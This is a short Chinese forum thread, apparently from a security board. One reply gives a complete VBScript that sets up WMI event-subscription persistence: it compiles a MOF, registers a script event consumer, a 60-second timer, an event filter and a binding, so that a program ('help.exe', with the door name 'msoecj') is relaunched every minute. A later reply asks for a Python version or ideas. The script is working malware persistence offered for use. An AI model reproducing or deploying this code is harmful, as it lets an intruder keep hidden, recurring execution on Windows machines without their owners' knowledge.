能力值:
( LV2,RANK:10 )
|
-
-
2 楼
SET shl=createobject("WScript.Shell")
SET fso=createobject("Scripting.FileSystemObject")
path=shl.expandenvironmentstrings("%windir%\system32\wbem\")
SET MOF=fso.opentextfile(path&"scrcons.mof",1,false,-1)
mofs=mof.readall
MOF.close
mofs = Replace(mofs,"#pragma autorecover","",1,1)
mofp=path&"asecimv2.mof"
SET mof=fso.createtextfile(mofp,false,true)
MOF.write mofs
MOF.close
shl.run path&"mofcomp.exe -N:root\cimv2 "&mofp,0,true
fso.deletefile(mofp)
SET WshShell=Wscript.CreateObject("Wscript.Shell")
SET WshSysEnv=WshShell.Environment("Process")
sysdir = WshSysEnv.Item("SYSTEMROOT")
sysdir2 = mid(sysdir,1,3)
nslink="winmgmts:\\.\root\cimv2:"
doorname="msoecj"
runinterval = 60000
stxt="Set objShell = CreateObject(""Wscript.Shell""):objShell.Run ""C:\PROGRA~1\Yoho\help.exe"""
SET asec=getobject(nslink&"ActiveScriptEventConsumer").spawninstance_
asec.name=consumer_dol
asec.scriptingengine="vbscript"
asec.scripttext=stxt
SET asecpath=asec.put_
SET itimer=getobject(nslink&"__IntervalTimerInstruction").spawninstance_
itimer.timerid=doorname&"_itimer"
itimer.intervalbetweenevents=runinterval
itimer.skipifpassed=false
itimer.put_
SET evtflt=getobject(nslink&"__EventFilter").spawninstance_
evtflt.name=filter_gfl
evtflt.query="select * from __timerevent where timerid="""&doorname&"_itimer"""
evtflt.querylanguage="wql"
SET fltpath=evtflt.put_
SET fcbnd=getobject(nslink&"__FilterToConsumerBinding").spawninstance_
fcbnd.consumer=asecpath.path
fcbnd.filter=fltpath.path
fcbnd.put_
|
能力值:
( LV15,RANK:520 )
|
-
-
3 楼
Python?代码不要,给点思路
|
|
|